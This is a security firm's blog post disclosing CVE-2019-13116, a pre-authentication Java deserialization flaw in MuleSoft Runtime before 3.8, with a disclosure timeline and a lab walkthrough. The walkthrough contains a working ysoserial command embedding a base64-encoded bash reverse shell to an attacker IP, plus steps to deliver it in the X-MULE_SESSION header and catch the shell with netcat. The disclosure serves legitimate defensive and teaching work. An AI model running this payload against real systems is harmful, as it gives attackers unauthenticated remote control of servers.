This blog post details a pre-authentication deserialization exploit in MuleSoft Runtime prior to version 3.8.
During a recent Web Application penetration test, Tevora observed some interesting headers being returned within the application data flow. The headers contained a character sequence that should raise an immediate red flag to pentesters: rO0. This sequence indicates a Java object, which calls for investigation of how this object is used and, more importantly for a pentester, how it is deserialized by the application.
Investigation into the header (X-MULE_SESSION), which presented this object, lead Tevora to the MuleSoft Mule Runtime engine. Tevora discovered this header could be set arbitrarily in a request, and the MuleSoft Runtime would deserialize our user-supplied object. In this instance, the version of MuleSoft Runtime was prior to 3.8, which ships with the vulnerable Apache Commons 3.2.1 component. Versions after MuleSoft Runtime 3.8 ship with Apache Commons 3.2.2, which is not vulnerable to this exploit chain. However, you may find these versions still deserialize untrusted data, even if a well-known vulnerable component isn't available to leverage the deserialization.
MuleSoft offers guidance on this issue, as well as patches for commercial runtime versions; links to these resources may be found at the bottom of this post. However, the guidance is focused on applications built for the MuleSoft platform. Notably, the exploit detailed here affects the MuleSoft Runtime itself, and should work against any application deployed on the platform for which the version is < 3.8 and the Apache Commons Collection is 3.2.1.
Tevora would like to thank MuleSoft for their responsiveness and outstanding communication throughout the disclosure process. In particular, Maximiliano Soler (@maxisoler) demonstrated the professionalism of a top-tier security professional responding to a disclosure. (A feel-good disclosure process is a nice change of news isn't it?) This vulnerability has been assigned CVE-2019-13116.
Disclosure timeline:
- 20190701 Initial private disclosure
- 20190715 Response received from MuleSoft
- 20190716 Issue and disclosure process discussed with MuleSoft
- 20191016 Issue publicly disclosed
Now let's walk through the exploit
Want to play along? Spin up a VM! (Ubuntu 18.04 was used for this demonstration.)
Download and Extract MuleSoft Runtime < 3.8 (Version 3.5.0 was used for this demonstration)
Start Mule (Running as root for demonstration)
Copy the example echo application into the apps folder from the example folder while Mule is running
Ensure the mule-example-echo application is deployed
We're ready to play!
Generate a payload with ysoserial
A simple bash reverse shell will be used in this example.
We base64-encode our reverse shell payload for use in the crafted Java object.
Then run the following command to generate the full payload – output in base64 for use in our HTTP Request. (Change the payload to match yours from the steps above.)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg2LjEyMC80NDMgMD4mMQo=}|{base64,-d}|{bash,-i}' | base64 | tr -d "\n"
Send the payload in an X-MULE_SESSION HTTP header to the application
Note: Although an HTTP 500 Error Response is received, the payload has successfully executed.
Catch the reverse shell with a netcat listener
Attacker host: tev0180 (192.168.86.120)
Mule server: ubuntu (172.16.36.165)
That's it! Pre-Auth Remote Code Execution via deserialization of a Java object within an HTTP header.
References
- MuleSoft Apache Commons Collection 3.2.1 Vulnerability Summary
- MuleSoft Apache Commons Collection 3.2.1 Affected Components
- Java Deserialization Vulnerabilities
- Java Unmarshaller Security - Turning your data into code execution
- Ysoserial